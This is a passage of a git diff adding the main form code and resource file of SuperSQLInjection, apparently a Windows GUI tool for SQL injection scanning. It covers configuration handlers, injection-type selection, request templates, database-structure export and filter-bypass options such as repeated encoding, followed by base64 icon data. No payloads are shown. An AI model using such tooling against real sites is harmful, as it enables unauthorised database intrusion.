log_lvw_httpLog_lvwColumnSorter; + } + + private void cbox_basic_timeOut_TextChanged(object sender, EventArgs e) + { + config.timeOut = int.Parse(this.cbox_basic_timeOut.Text); + } + + private void cbox_basic_encoding_TextChanged(object sender, EventArgs e) + { + config.encoding = this.cbox_basic_encoding.Text; + } + + private void cbox_basic_threadSize_TextChanged(object sender, EventArgs e) + { + config.threadSize = int.Parse(this.cbox_basic_threadSize.Text); + MyThreadPool.setMaxThread(config.threadSize); + } + + private void cbox_basic_reTryCount_TextChanged(object sender, EventArgs e) + { + config.reTry = int.Parse(this.cbox_basic_reTryCount.Text); + } + + private void tsmi_exportScanInjectionURL_Click(object sender, EventArgs e) + { + try + { + //保存文件 + SaveFileDialog saveFileDialog = new SaveFileDialog(); + saveFileDialog.Filter = "文本文件|*.txt"; + if (saveFileDialog.ShowDialog() == DialogResult.OK) + { + FileStream fs = new FileStream(saveFileDialog.FileName.ToString(), FileMode.OpenOrCreate, FileAccess.Write); + StreamWriter sw = new StreamWriter(fs); + foreach (String url in this.scanInject_lsb_links.Items) + { + sw.WriteLine(url); + } + sw.Close(); + MessageBox.Show("导出完成!"); + } + + } + catch (Exception ee) + { + + MessageBox.Show("导出异常!" + ee.Message); + + } + + } + + private void tsmi_clearScanInjectionURL_Click(object sender, EventArgs e) + { + this.scanInject_lsb_links.Items.Clear(); + this.scan_list.Clear(); + this.scanInjection_domainsCount.Text = "0"; + this.urlSumCount = 0;//待扫url + this.scanedURLSCount = 0;//已扫 + this.scanedDomain = 0;//爬行到URL + + } + + private void encode_txt_input_KeyDown(object sender, KeyEventArgs e) + { + if (e.Modifiers == Keys.Control && e.KeyCode == Keys.A) + { + ((TextBox)sender).SelectAll(); + } + } + + private void tsmi_readme_Click(object sender, EventArgs e) + { + MessageBox.Show("查看程序包!"); + } + + private void cbox_file_readFileEncoding_SelectedValueChanged(object sender, EventArgs e) + { + config.readFileEncoding = this.cbox_file_readFileEncoding.Text; + } + + private void toolStrip1_TextChanged(object sender, EventArgs e) + { + config.db_encoding = this.data_dbs_cob_db_encoding.Text; + } + + private void 版本ToolStripMenuItem_Click(object sender, EventArgs e) + { + MessageBox.Show("V1.0正式版----" + version); + } + + private void data_dbs_tsmi_saveDTCStruct_Click(object sender, EventArgs e) + { + try + { + DataBase dbs = new DataBase(); + SerializableDictionary>> db_tables = new SerializableDictionary>>(); + foreach (TreeNode db in this.data_tvw_dbs.Nodes) + { + SerializableDictionary> stable = new SerializableDictionary>(); + if (db.Nodes.Count <= 0) + { + stable.Add("", new List()); + } + foreach (TreeNode table in db.Nodes) + { + List columns = new List(); + foreach (TreeNode column in table.Nodes) + { + columns.Add(column.Text); + } + stable.Add(table.Text, columns); + } + db_tables.Add(db.Text, stable); + } + dbs.tables = db_tables; + //保存文件 + SaveFileDialog saveFileDialog = new SaveFileDialog(); + saveFileDialog.Filter = "文本文件|*.xml"; + if (saveFileDialog.ShowDialog() == DialogResult.OK) + { + export = 1; + Thread eth = new Thread(exportData); + } + XML.saveDBS(saveFileDialog.FileName, dbs); + MessageBox.Show("保存成功!"); + } + catch (Exception ke) + { + + log("\r\n加载异常----" + ke.Message + "\r\n"); + } + } + + private void data_dbs_tsmi_loadDTCStruct_Click(object sender, EventArgs e) + { + try + { + OpenFileDialog ofd = new OpenFileDialog { Filter = "XML文件(*.xml)|*.*" }; + if (ofd.ShowDialog() == DialogResult.OK) + { + + DataBase dbs = XML.readDBS(ofd.FileName); + foreach (KeyValuePair>> sdb in dbs.tables) + { + if (Tools.isExistsNode(this.data_tvw_dbs.Nodes, sdb.Key)) + { + log("数据库" + sdb.Key + "已在列表中,无法再次添加如果要添加请先删除原数据库!"); + continue; + } + TreeNode dbtn = new TreeNode(sdb.Key); + dbtn.Tag = "dbs"; + foreach (KeyValuePair> tables in sdb.Value) + { + if (String.IsNullOrEmpty(tables.Key)) + { + continue; + } + TreeNode tabletn = new TreeNode(tables.Key); + tabletn.Tag = "table"; + dbtn.Nodes.Add(tabletn); + foreach (String column in tables.Value) + { + if (String.IsNullOrEmpty(column)) + { + continue; + } + TreeNode columntn = new TreeNode(column); + columntn.Tag = "column"; + tabletn.Nodes.Add(columntn); + } + } + this.data_tvw_dbs.Nodes.Add(dbtn); + } + MessageBox.Show("加载库表列信息成功!"); + } + } + catch (Exception ke) + { + + log("\r\n加载异常----" + ke.Message + "\r\n"); + } + } + + private void data_dbs_tsmi_clearDTCStruct_Click(object sender, EventArgs e) + { + this.data_tvw_dbs.Nodes.Clear(); + } + + private void cbox_inject_type_SelectedIndexChanged(object sender, EventArgs e) + { + int c = this.cbox_inject_type.SelectedIndex; + switch (c) + { + case 0: + config.keyType = KeyType.Key; + break; + case 1: + config.keyType = KeyType.Code; + break; + case 2: + config.keyType = KeyType.Length; + break; + case 3: + config.keyType = KeyType.Time; + break; + + } + } + + private void tsmi_createGetTemplate_Click(object sender, EventArgs e) + { + this.txt_inject_request.Text = HTTP.getTemplate; + } + + private void tsmi_createPOSTTemplate_Click(object sender, EventArgs e) + { + this.txt_inject_request.Text = HTTP.postTemplate; + } + + private void tsmi_changeRequestMethod_Click(object sender, EventArgs e) + { + this.txt_inject_request.Text = Tools.changeRequestMethod(this.txt_inject_request.Text); + } + + private void tsmi_clearColumns_Click(object sender, EventArgs e) + { + this.data_dbs_lvw_data.Clear(); + } + + private void tsmi_bugReport_Click(object sender, EventArgs e) + { + MessageBox.Show("邮箱反馈:1341413415@qq.com\r\nQQ群反馈:84978967"); + } + + private void data_dbs_cob_db_encoding_TextChanged(object sender, EventArgs e) + { + this.config.db_encoding = this.data_dbs_cob_db_encoding.Text; + } + + private void cob_keyRepalce_SelectedIndexChanged(object sender, EventArgs e) + { + config.keyReplace = this.cob_keyRepalce.SelectedIndex; + } + + private void chk_reaplaceBeforURLEncode_CheckedChanged(object sender, EventArgs e) + { + config.reaplaceBeforURLEncode = this.chk_reaplaceBeforURLEncode.Checked; + } + + private void tsmi_createPackByURL_Click(object sender, EventArgs e) + { + try { + Uri url = new Uri(config.request); + this.txt_inject_request.Text=Spider.reqestGetTemplate.Replace("{url}", url.PathAndQuery).Replace("{host}", url.Host+":"+ url.Port); + this.txt_basic_host.Text = url.Host; + this.txt_basic_port.Text = url.Port.ToString(); + if (config.request.StartsWith("https")) { + this.chk_useSSL.Checked = true; + } + }catch (Exception ee) { + MessageBox.Show("请在数据包中输入正确的URL地址,如:http://www.baidu.com/index.php?id=1"); + } + + } + + private void tsmi_tsmi_opentestURL_Click(object sender, EventArgs e) + { + openScanURL(2); + } + + private void tsmi_openURL_Click(object sender, EventArgs e) + { + openScanURL(1); + } + + private void bypass_btn_saveTemplate_Click(object sender, EventArgs e) + { + SaveFileDialog saveFileDialog = new SaveFileDialog(); + saveFileDialog.Filter = "XML文件|*.xml"; + if (saveFileDialog.ShowDialog() == DialogResult.OK) + { + XML.saveConfig(saveFileDialog.FileName, config); + MessageBox.Show("保存模板成功!"); + } + } + + public void loadTemplate(String templatePath) { + try + { + Config template = XML.readConfig(templatePath); + + //bypass + this.bypass_chk_inculdeStr.Checked = template.inculdeStr; + this.cob_keyRepalce.SelectedIndex = template.keyReplace; + this.bypass_chk_base64.Checked = template.base64; + this.cbox_base64Count.SelectedIndex = config.base64Count; + //替换字符 + this.chk_reaplaceBeforURLEncode.Checked = template.reaplaceBeforURLEncode; + String[] replaceStrs = Regex.Split(template.replaceStrs, "\\n"); + if (replaceStrs.Length > 0) + { + foreach (String line in replaceStrs) + { + String[] strs = Regex.Split(line, "\\t"); + if (strs.Length == 2) + { + if (!String.IsNullOrEmpty(strs[0])&& !replaceList.ContainsKey(strs[0])) + { + this.replaceList.Add(strs[0], strs[1]); + ListViewItem lvi = new ListViewItem(strs[0]); + lvi.SubItems.Add(strs[1]); + lvi.Name = strs[1]; + this.bypass_lvw_replaceString.Items.Add(lvi); + config.replaceStrs += (strs[0] + "\t" + strs[1] + "\n"); + } + } + } + } + MessageBox.Show("加载模板完成!"); + + } + catch (Exception e) + { + Tools.SysLog("加载模板发生异常!"+e.Message); + MessageBox.Show("加载模板发生异常!"); + } + } + + private void bypass_cbox_loadTemplate_TextChanged(object sender, EventArgs e) + { + if (this.bypass_cbox_loadTemplate.SelectedIndex == 0) + { + OpenFileDialog ofd = new OpenFileDialog { Filter = "XML文件(*.xml)|*.*" }; + if (ofd.ShowDialog() == DialogResult.OK) + { + loadTemplate(ofd.FileName); + } + } + else { + String path = AppDomain.CurrentDomain.BaseDirectory + "/config/template/" + this.bypass_cbox_loadTemplate.Text; + loadTemplate(path); + + } + } + + private void cbox_base64Count_TextChanged(object sender, EventArgs e) + { + config.base64Count = this.cbox_base64Count.SelectedIndex+1; + } + + private void tsmi_tsmi_exortTestURL_Click(object sender, EventArgs e) + { + exportScanURL(new int[] { 2}); + } + + private void tsmi_tsmi_exortOldURL_Click(object sender, EventArgs e) + { + exportScanURL(new int[] {1}); + } + + private void cbox_bypass_urlencode_count_TextChanged(object sender, EventArgs e) + { + config.urlencodeCount = this.cbox_bypass_urlencode_count.SelectedIndex + 1; + } + } +} \ No newline at end of file diff --git a/SuperSQLInjection/Main.resx b/SuperSQLInjection/Main.resx new file mode 100644 index 0000000..f60ea5a --- /dev/null +++ b/SuperSQLInjection/Main.resx @@ -0,0 +1,414 @@ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + text/microsoft-resx + + + 2.0 + + + System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 + + + 142, 6 + + + 9, 6 + + + 531, 14 + + + + AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w + LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 + ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAAAC + EwAAAk1TRnQBSQFMAgEBCgEAARgBBgEYAQYBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + AwABQAMAATADAAEBAQABCAYAAQwYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA + AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5 + AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA + AWYDAAGZAwABzAIAATMDAAIzAgABMwFmAgABMwGZAgABMwHMAgABMwH/AgABZgMAAWYBMwIAAmYCAAFm + AZkCAAFmAcwCAAFmAf8CAAGZAwABmQEzAgABmQFmAgACmQIAAZkBzAIAAZkB/wIAAcwDAAHMATMCAAHM + AWYCAAHMAZkCAALMAgABzAH/AgAB/wFmAgAB/wGZAgAB/wHMAQABMwH/AgAB/wEAATMBAAEzAQABZgEA + ATMBAAGZAQABMwEAAcwBAAEzAQAB/wEAAf8BMwIAAzMBAAIzAWYBAAIzAZkBAAIzAcwBAAIzAf8BAAEz + AWYCAAEzAWYBMwEAATMCZgEAATMBZgGZAQABMwFmAcwBAAEzAWYB/wEAATMBmQIAATMBmQEzAQABMwGZ + AWYBAAEzApkBAAEzAZkBzAEAATMBmQH/AQABMwHMAgABMwHMATMBAAEzAcwBZgEAATMBzAGZAQABMwLM + AQABMwHMAf8BAAEzAf8BMwEAATMB/wFmAQABMwH/AZkBAAEzAf8BzAEAATMC/wEAAWYDAAFmAQABMwEA + AWYBAAFmAQABZgEAAZkBAAFmAQABzAEAAWYBAAH/AQABZgEzAgABZgIzAQABZgEzAWYBAAFmATMBmQEA + AWYBMwHMAQABZgEzAf8BAAJmAgACZgEzAQADZgEAAmYBmQEAAmYBzAEAAWYBmQIAAWYBmQEzAQABZgGZ + AWYBAAFmApkBAAFmAZkBzAEAAWYBmQH/AQABZgHMAgABZgHMATMBAAFmAcwBmQEAAWYCzAEAAWYBzAH/ + AQABZgH/AgABZgH/ATMBAAFmAf8BmQEAAWYB/wHMAQABzAEAAf8BAAH/AQABzAEAApkCAAGZATMBmQEA + AZkBAAGZAQABmQEAAcwBAAGZAwABmQIzAQABmQEAAWYBAAGZATMBzAEAAZkBAAH/AQABmQFmAgABmQFm + ATMBAAGZATMBZgEAAZkBZgGZAQABmQFmAcwBAAGZATMB/wEAApkBMwEAApkBZgEAA5kBAAKZAcwBAAKZ + Af8BAAGZAcwCAAGZAcwBMwEAAWYBzAFmAQABmQHMAZkBAAGZAswBAAGZAcwB/wEAAZkB/wIAAZkB/wEz + AQABmQHMAWYBAAGZAf8BmQEAAZkB/wHMAQABmQL/AQABzAMAAZkBAAEzAQABzAEAAWYBAAHMAQABmQEA + AcwBAAHMAQABmQEzAgABzAIzAQABzAEzAWYBAAHMATMBmQEAAcwBMwHMAQABzAEzAf8BAAHMAWYCAAHM + AWYBMwEAAZkCZgEAAcwBZgGZAQABzAFmAcwBAAGZAWYB/wEAAcwBmQIAAcwBmQEzAQABzAGZAWYBAAHM + ApkBAAHMAZkBzAEAAcwBmQH/AQACzAIAAswBMwEAAswBZgEAAswBmQEAA8wBAALMAf8BAAHMAf8CAAHM + Af8BMwEAAZkB/wFmAQABzAH/AZkBAAHMAf8BzAEAAcwC/wEAAcwBAAEzAQAB/wEAAWYBAAH/AQABmQEA + AcwBMwIAAf8CMwEAAf8BMwFmAQAB/wEzAZkBAAH/ATMBzAEAAf8BMwH/AQAB/wFmAgAB/wFmATMBAAHM + AmYBAAH/AWYBmQEAAf8BZgHMAQABzAFmAf8BAAH/AZkCAAH/AZkBMwEAAf8BmQFmAQAB/wKZAQAB/wGZ + AcwBAAH/AZkB/wEAAf8BzAIAAf8BzAEzAQAB/wHMAWYBAAH/AcwBmQEAAf8CzAEAAf8BzAH/AQAC/wEz + AQABzAH/AWYBAAL/AZkBAAL/AcwBAAJmAf8BAAFmAf8BZgEAAWYC/wEAAf8CZgEAAf8BZgH/AQAC/wFm + AQABIQEAAaUBAANfAQADdwEAA4YBAAOWAQADywEAA7IBAAPXAQAD3QEAA+MBAAPqAQAD8QEAA/gBAAHw + AfsB/wEAAaQCoAEAA4ADAAH/AgAB/wMAAv8BAAH/AwAB/wEAAf8BAAL/AgAD/wEAAfEB7wG8AfMC9AT/ + AvQBkwFvAQcNAAH/AfQiAAHvAfIB9wG8B/8BkwFvAZQBbwwAAfACDgHvIQAB8QH3AfEB9wHxBQABkwFv + ARYBbwEHBQAG/wHyAQ4BQwEUAQ4B8yEAAfEB7wHwAe8B8QMAAZMBbwEWAW8BGgUAAv8B8QHvAewB7QH3 + AewBEQIUAQ4B/yIAAfEB7wG8Ae8B8QEAAZMBbwEWAW8BGgUAAf8B9AEHAe8B8AHzAfIB8AH3AW0BEwEP + AQckAAHxAe8BvAEHAbwBbwHjAW8BGgYAAf8CBwHwAbQCiwG0AfABBwFtAe8mAAHxAQcBbwFFAeMBFgEa + BwAB8gHvAfEBigSyAa0B8gHvAfInAAHxAUYBlAFGAbwIAAEHAfEBtAGzBbIBtAHxAQcnAAEHARwCbwEH + Au8BBwHwAf8DAAH3AfQGswGyAbMB9AH3JgACBwG8AfIBvAIHArwCBwH/AgAB7wH0AbMBuQazAfQB7yUA + AQcCvAEAAf8BvAIHAbwB7wHxAQcB8QIAAQcB8gG6AbkB2wHaAtsBuQG6AfIBByQAAQcCvAMAAfACvAHv + AfMBBwHyAfACAAHzAQcB9AGzBNsBswHzAQcB8yIAAfEBBwLwBAAB8QHwAe8B8wEAAf8B8AHxAwAB8QHw + AfMBugG0AroB8wLxIwABvAHzAfAFAAHyAbwB8QHvAf8BAAL/AwAB/wHxAQcB8wH0Af8B8wG8AfEB/yMA + AfIB8QHyBQAB/wHxAfAB8gG8Af8HAAHzAfACBwHwAfMuAAH/AfMC8QH/NAAB/wG0AgABBwgSAQcQ/wES + BBUB/wFDASoC/wHvAhUBEhIAAbUEzwEAAeoI/wHqAf8O1AH/AW0F/wEqAfYCIwP/AW0SAAHPAQAB/wG0 + AgABbQH/AvQE8wH/AW0B/wHUAtwBGQL0ARkB3AHbAdoB0wHUAdsB1AH/AW0B/wPzAf8BKgH2AcMBegGm + Av8BbQIAAuwEAAPsBAAC7AEAAc8FAAFtAf8B9AXzAf8BbQH/AdQC3AEZAvQBGQHcAdsB2gHTAdQB2wHU + Af8BbQH/A/QC/wEqAXoBswHTAaYB/wEHAgAB7AH/BOwB/wHsAf8E7AH/AewHAAHrAf8G8wH/AesB/wHU + AhkB9AL/AfQBGQEJA9wBCQHUAf8B6wH/BPQB/wEqAQkB4gGzAdMBpgL/AQAB7AX/AewB/wHsBf8B7AEA + AbsFbAHsAf8G8wH/AewB/w7UAf8B6wH/BPQC/wGsAQkB4gGzAdMBpgL/AewG/wHsBv8B7AEAAYsFGQHs + Af8G8wH/AewB/wHUAtwBGQL0ARkB3AHbAdoB0wHUAdsB1AH/AesB/wX0Av8BrAEJAeIBswHTAaYB/wHs + Af8B7AH/AewB/wHsAf8B7AX/AewBAAGLBRkB7AH/BPMD/wHsAf8B1ALcARkC9AEZAdwB2wHaAdMB1AHb + AdQB/wHrCf8BrAEJAeIBswEmASAB7AL/AewD/wHsBv8B7AEAAZAFGQHtAf8E8wH/Au0B8AH/AdQC3AEZ + AvQBGQHcAdsB2gHTAdQB2wHUAf8B7Ar/AawBCQH/ASYBIAHsAf8B7AP/AewB/wHsBf8B7AEAAZAFGQGS + Bv8BkgEHAQAB/wHUAhkB9AL/AfQBGQEJA9wBCQHUAf8B7Av/AawBJgHeASUB7AL/AuwC/wHsBv8B7AEA + AbMFGQEHBvcB8AIAAf8O1AH/AewJ/wL0Af8BJQEgAf8B7AH/AewD/wHsAf8B7AX/AewBAAGzBRkCCQEZ + AbMGAAH/AdQC3AEZAvQBGQHcAdsB2gHTAdQB2wHUAf8B7Aj/AbUC6gEHA/8B7AL/AuwC/wHsBv8B7AEA + AbkEGQEJAxkBuQQAAc8BAAH/AdQC3AEZAvQBGQHcAdsB2gHTAdQB2wHUAf8B7Aj/AbUD/wH3AgAC7AT/ + AewB/wHsBP8C7AEAAbkDGQIJARkCuQEJAf8BtAIAAc8BAAH/AdQCGQH0Av8B9AEZAQkD3AEJAdQB/wHs + CP8BtQL/AfcFAATsAQAB7AEABOwDAAG5BhkBuQG6AQAEzwG1AQAB/w7UAf8B7Qj/AbUB/wH3FAABCQa5 + AQkCAAH/AbQEABD/Cu0B90gAAvABvAHvApEB7wG8AvAHAAEHAXIBTwNJAXIBBwUADv8DAAG8DAABBwIA + AbwBBwH3Ae8BswLbAbMC7wEHAbwFAAGYAU8BUASYAU8BSQEcBAABBwzrAQcCAAHzAQACBwr/AgAB8AG7 + ArMBkAG6AtsBugGQArMBuwHwAwABmAFPAXgBCAGYApcBmAEIAZcBSQEcAwAB6wwHAesFAAP0CP8CAAHw + AbQC3AbbAtwBtAHwAgABBwFPAXgBCAaXAQgBlwFJAQcCAAHsAbwKDwG8AewCAAHzAQACBwP0B/8CAAG8 + AbMB3ALbAdwC2wHcAtsB3AGzAbwCAAF4AVYBCAKXAXgBGwGYA5cBCAFPAXICAAHsAfAKEAHwAewFAAP0 + AesBDgEQAewBEQP/AQABvAHvAbQD2wGzAroBswPbAbQB7wG8AQABUAKYAZcBeAP/AZgClwKYAU8CAAHs + AfEBEAIRAv8BEQH/AhEBEAHxAewCAAHzAQACBwH0AfABAAHwAfQB7QEAA/8BAAEHAbMBugHbAdwBswG8 + AgABvAGzAdwB2wG6AbMBBwEAAU8BmAGXAXgC/wH0Av8BmAKXAZgBSQIAAewB8QERAUMB/wZDAREB8QHs + BQAC8wHyAQ4B7AHzAbwBAAH0Av8BAAG7AdsC3AHbAbQEAAG0AdsC3AHbAbsBAAFVAQgBeAGXAQgB8QGX + AQgC/wGYAZcBmAFPAgAB7AHyAREBFQH/AxUB/wIVAREB8gHsAgAB8wEAAQcB7wLzAQcBEwEOAQ8BAAL0 + Af8BAAG7AdsD3AG0AbwC8AG8AbQD3AHbAbsBAAFWApgFlwEIAf8B8wKYAU8CAAHsAfMBQwIVAv8EFQFD + AfMB7AUAA/MBvAHyAfQB7AEQA/QBAAG8AbMC2wHcAbMBkgIHAZIBswHcAtsBswG8AQABmAGXAQgGlwEI + AZcBCAFQAZcCAAHsAfQBQwgUAUMB9AHsAgAB8wEAAQcB7wLzAewBDwEOAREB7wP0AgABvAG0AdsB4QHc + AbMCkAGzAdwB4QHbAbQBvAIAAQgBVgF4AQgGlwEIAXgBTwEHAgAB7QH/CkMB/wHtBQAB8gfzA/QCAAG8 + AbMBGQPhAtwD4QEZAbMBvAMAAZgBVgF4AQgBmAJ4AZgBCAF4AU8BmAMAAe0M/wHtAgAB8wEAAQcB7wLy + BvMC9AMAAbQB3AHiAtsC4QLbAeIB3AG0BQABmAFWAZcEmAGXAVABmAQAAfAM7QHwBQAE8gfzAwABuwG0 + AbMBtAHbAuIB2wG0AbMBtAG7BgABCAGYBFYBmAEHFQAB8wEADP8FAAK8AbMC2wGzArwmAAG8DAABvAYA + AbwCuwG8BgABQgFNAT4HAAE+AwABKAMAAUADAAEwAwABAQEAAQEFAAGAAQEWAAP/AgABAQH/AfMFAAEB + Af8B4QQAAQcBwQHwBQACgwHgBQABwQEHAcABAQQAAeABDwHAAQMEAAHwAR8BwAEDBAAB+AE/AcABAwQA + AfgBAQHAAQMEAAHwAQABwAEDBAAB4gEAAcABAwQAAccBAAHAAQMEAAEPAQgB4AEHBAABHwEEAeABBwQA + AR8BAwH4AR8EAAH/AYMC/wQAAcwEAAEDAv8BBAQAAQMC/wFMBAABAwE8AXkBfAQAAQMBAAEBAfwEAAEB + AQABAQcAAQEHAAEBBwABAQcAAQEBAAEBBQABAQEAAQMFAAEBAQABPwUAAQEBAAE9AwABAwEAAQEBAAEN + AwABBwHCAYcBAAFBAwABDwL/AQABzwMAAR8I/wHgAQcB8AEPAYABAQHAAQABwAEDAeABBwGAAQEBgAEA + AYABAQHAAQMBgAEBAYABAAGAAQEBgAEBAYABAQGAAQABgAEBAYABAQGAAQEBgAMAAYABAQGAAQEBgAEA + AQECgAEBAYABAQGAAQABAwHAAYABAQGAAQEBgAMAAYABAQGAAQEBgAMAAYABAQGAAQEBgAEAAYABAQGA + AQEBgAEBAYABAAGAAQEBwAEDAYABAQGAAQABwAEDAeABBwGAAQEBgAEAAcABAwHwAQ8C/wGAAQAB8AEP + BP8BwAEAAfwBPws= + + + + 279, 9 + + + 1218, 14 + + + 157, 52 + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAIDSURBVDhPpZLrS5NhGMb3j4SWh0oRQVExD4gonkDpg4hG + YKxG6WBogkMZKgPNCEVJFBGdGETEvgwyO9DJE5syZw3PIlPEE9pgBCLZ5XvdMB8Ew8gXbl54nuf63dd9 + 0OGSnwCahxbPRNPAPMw9Xpg6ZmF46kZZ0xSKzJPIrhpDWsVnpBhGkKx3nAX8Pv7z1zg8OoY/cITdn4fw + bf/C0kYAN3Ma/w3gWfZL5kzTKBxjWyK2DftwI9tyMYCZKXbNHaD91bLYJrDXsYbrWfUKwJrPE9M2M1Oc + VzOOpHI7Jr376Hi9ogHqFIANO0/MmmmbmSmm9a8ze+I4MrNWAdjtoJgWcx+PSzg166yZZ8xM8XvXDix9 + c4jIqFYAjoriBV9AhEPv1mH/sonogha0afbZMMZz+yreTGyhpusHwtNNCsA5U1zS4BLxzJIfg299qO32 + Ir7UJtZfftyATqeT+8o2D8JSjQrAJblrncYL7ZJ2+bfaFnC/1S1NjL3diRat7qrO7wLRP3HjWsojBeCo + mDEo5mNjuweFGvjWg2EBhCbpkW78htSHHwRyNdmgAFzPEee2iFkzayy2OLXzT4gr6UdUnlXrullsxxQ+ + kx0g8BTA3aZlButjSTyjODq/WcQcW/B/Je4OQhLvKQDnzN1mp0nnkvAhR8VuMzNrpm1mpjgkoVwB/v8D + TgDQASA1MVpwzwAAAABJRU5ErkJggg== + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAIDSURBVDhPpZLrS5NhGMb3j4SWh0oRQVExD4gonkDpg4hG + YKxG6WBogkMZKgPNCEVJFBGdGETEvgwyO9DJE5syZw3PIlPEE9pgBCLZ5XvdMB8Ew8gXbl54nuf63dd9 + 0OGSnwCahxbPRNPAPMw9Xpg6ZmF46kZZ0xSKzJPIrhpDWsVnpBhGkKx3nAX8Pv7z1zg8OoY/cITdn4fw + bf/C0kYAN3Ma/w3gWfZL5kzTKBxjWyK2DftwI9tyMYCZKXbNHaD91bLYJrDXsYbrWfUKwJrPE9M2M1Oc + VzOOpHI7Jr376Hi9ogHqFIANO0/MmmmbmSmm9a8ze+I4MrNWAdjtoJgWcx+PSzg166yZZ8xM8XvXDix9 + c4jIqFYAjoriBV9AhEPv1mH/sonogha0afbZMMZz+yreTGyhpusHwtNNCsA5U1zS4BLxzJIfg299qO32 + Ir7UJtZfftyATqeT+8o2D8JSjQrAJblrncYL7ZJ2+bfaFnC/1S1NjL3diRat7qrO7wLRP3HjWsojBeCo + mDEo5mNjuweFGvjWg2EBhCbpkW78htSHHwRyNdmgAFzPEee2iFkzayy2OLXzT4gr6UdUnlXrullsxxQ+ + kx0g8BTA3aZlButjSTyjODq/WcQcW/B/Je4OQhLvKQDnzN1mp0nnkvAhR8VuMzNrpm1mpjgkoVwB/v8D + TgDQASA1MVpwzwAAAABJRU5ErkJggg== + + + + + iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAYAAAAf8/9hAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8 + YQUAAAAJcEhZcwAADsMAAA7DAcdvqGQAAAIDSURBVDhPpZLrS5NhGMb3j4SWh0oRQVExD4gonkDpg4hG + YKxG6WBogkMZKgPNCEVJFBGdGETEvgwyO9DJE5syZw3PIlPEE9pgBCLZ5XvdMB8Ew8gXbl54nuf63dd9 + 0OGSnwCahxbPRNPAPMw9Xpg6ZmF46kZZ0xSKzJPIrhpDWsVnpBhGkKx3nAX8Pv7z1zg8OoY/cITdn4fw + bf/C0kYAN3Ma/w3gWfZL5kzTKBxjWyK2DftwI9tyMYCZKXbNHaD91bLYJrDXsYbrWfUKwJrPE9M2M1Oc + VzOOpHI7Jr376Hi9ogHqFIANO0/MmmmbmSmm9a8ze+I4MrNWAdjtoJgWcx+PSzg166yZZ8xM8XvXDix9 + c4jIqFYAjoriBV9AhEPv1mH/sonogha0afbZMMZz+yreTGyhpusHwtNNCsA5U1zS4BLxzJIfg299qO32 + Ir7UJtZfftyATqeT+8o2D8JSjQrAJblrncYL7ZJ2+bfaFnC/1S1NjL3diRat7qrO7wLRP3HjWsojBeCo + mDEo5mNjuweFGvjWg2EBhCbpkW78htSHHwRyNdmgAFzPEee2iFkzayy2OLXzT4gr6UdUnlXrullsxxQ+ + kx0g8BTA3aZlButjSTyjODq/WcQcW/B/Je4OQhLvKQDnzN1mp0nnkvAhR8VuMzNrpm1mpjgkoVwB/v8D + TgDQASA1MVpwzwAAAABJRU5ErkJggg== + + + + 404, 11 + + + 267, 52 + + + + AAEAAAD/////AQAAAAAAAAAMAgAAAFdTeXN0ZW0uV2luZG93cy5Gb3JtcywgVmVyc2lvbj00LjAuMC4w + LCBDdWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWI3N2E1YzU2MTkzNGUwODkFAQAAACZTeXN0 + ZW0uV2luZG93cy5Gb3Jtcy5JbWFnZUxpc3RTdHJlYW1lcgEAAAAERGF0YQcCAgAAAAkDAAAADwMAAACq + DQAAAk1TRnQBSQFMAgEBBwEAAZgBBQGYAQUBEAEAARABAAT/AQkBAAj/AUIBTQE2AQQGAAE2AQQCAAEo + AwABQAMAASADAAEBAQABCAYAAQgYAAGAAgABgAMAAoABAAGAAwABgAEAAYABAAKAAgADwAEAAcAB3AHA + AQAB8AHKAaYBAAEzBQABMwEAATMBAAEzAQACMwIAAxYBAAMcAQADIgEAAykBAANVAQADTQEAA0IBAAM5 + AQABgAF8Af8BAAJQAf8BAAGTAQAB1gEAAf8B7AHMAQABxgHWAe8BAAHWAucBAAGQAakBrQIAAf8BMwMA + AWYDAAGZAwABzAIAATMDAAIzAgABMwFmAgABMwGZAgABMwHMAgABMwH/AgABZgMAAWYBMwIAAmYCAAFm + AZkCAAFmAcwCAAFmAf8CAAGZAwABmQEzAgABmQFmAgACmQIAAZkBzAIAAZkB/wIAAcwDAAHMATMCAAHM + AWYCAAHMAZkCAALMAgABzAH/AgAB/wFmAgAB/wGZAgAB/wHMAQABMwH/AgAB/wEAATMBAAEzAQABZgEA + ATMBAAGZAQABMwEAAcwBAAEzAQAB/wEAAf8BMwIAAzMBAAIzAWYBAAIzAZkBAAIzAcwBAAIzAf8BAAEz + AWYCAAEzAWYBMwEAATMCZgEAATMBZgGZAQABMwFmAcwBAAEzAWYB/wEAATMBmQIAATMBmQEzAQABMwGZ + AWYBAAEzApkBAAEzAZkBzAEAATMBmQH/AQABMwHMAgABMwHMATMBAAEzAcwBZgEAATMBzAGZAQABMwLM + 